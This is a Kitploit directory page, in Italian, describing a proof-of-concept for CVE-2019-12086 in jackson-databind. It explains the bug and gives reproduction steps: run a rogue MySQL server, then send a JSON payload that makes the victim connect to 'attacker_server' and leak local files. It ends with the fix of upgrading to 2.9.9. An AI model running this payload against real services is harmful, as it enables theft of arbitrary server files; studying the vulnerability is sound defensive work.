Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-12086-jackson-databind-file-read | Kitploit
Strumenti/GitHubGitHub/motoyasu-saburi/cve-2019-12086-jackson-databind-file-read
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubmotoyasu-saburi/cve-2019-12086-jackson-databind-file-read

CVE-2019-12086-jackson-databind-file-read

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
1217 anni faNon ancora revisionato

jackson-CVE-2019-12086

Descrizione della vulnerabilità

Con Default Typing abilitato e con mysql-connector-java 8.0.15 (rilasciato il 2019.2.1) o versioni precedenti nel classpath, un attaccante può leggere file arbitrari inviando dati JSON malevoli. La libreria mysql-connector-java è il JDBC di MySQL comunemente usato per connettersi al database.

La descrizione della CVE è la seguente:

È stato scoperto un problema di tipizzazione polimorfica in FasterXML jackson-databind 2.x prima della 2.9.9. Quando Default Typing è abilitato (globalmente o per una proprietà specifica) per un endpoint JSON esposto esternamente, il servizio ha il jar mysql-connector-java (8.0.14 o precedente) nel classpath, e un attaccante può ospitare un server MySQL malevolo raggiungibile dalla vittima, può inviare un messaggio JSON appositamente creato che gli consente di leggere file locali arbitrari sul server. Ciò si verifica a causa della mancanza di validazione di com.mysql.cj.jdbc.admin.MiniAdmin.

Analisi della vulnerabilità

Dettagli della vulnerabilità:

  1. Con Default Typing abilitato, durante la deserializzazione di JSON, Jackson può deserializzare una classe specificata e può specificare un valore di un tipo base come argomento del costruttore di quella classe.
  2. Il costruttore di com.mysql.cj.jdbc.admin.MiniAdmin accetta un valore stringa che rappresenta un JDBC URL; la classe com.mysql.cj.jdbc.admin.MiniAdmin, durante l'inizializzazione, si connette al database MySQL specificato da questo JDBC URL.
  3. Con mysql-connector-java 8.0.15 (rilasciato il 2019.2.1) o versioni precedenti, un server MySQL malevolo può leggere file locali arbitrari del client MySQL, dando origine alla vulnerabilità.

Riproduzione della vulnerabilità

  1. Avvia un server MySQL malevolo: https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

python rogue_mysql_server.py

  1. Osserva il file mysql.log nella stessa directory:

tail -f mysql.log

  1. Invia all'applicazione vulnerabile il seguente JSON:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

  1. Quando Jackson deserializza la stringa JSON malevola, si connette al server MySQL malevolo e il contenuto del file letto viene scritto nel mysql.log del server malevolo.
root@kitploit:~
# edit IP & Port at the payload  "./volume/src/main/java/poc/Main.java".
$ docker build . 

Correzione della vulnerabilità

Aggiorna Jackson alla versione 2.9.9 o successiva.

Scarica lo strumento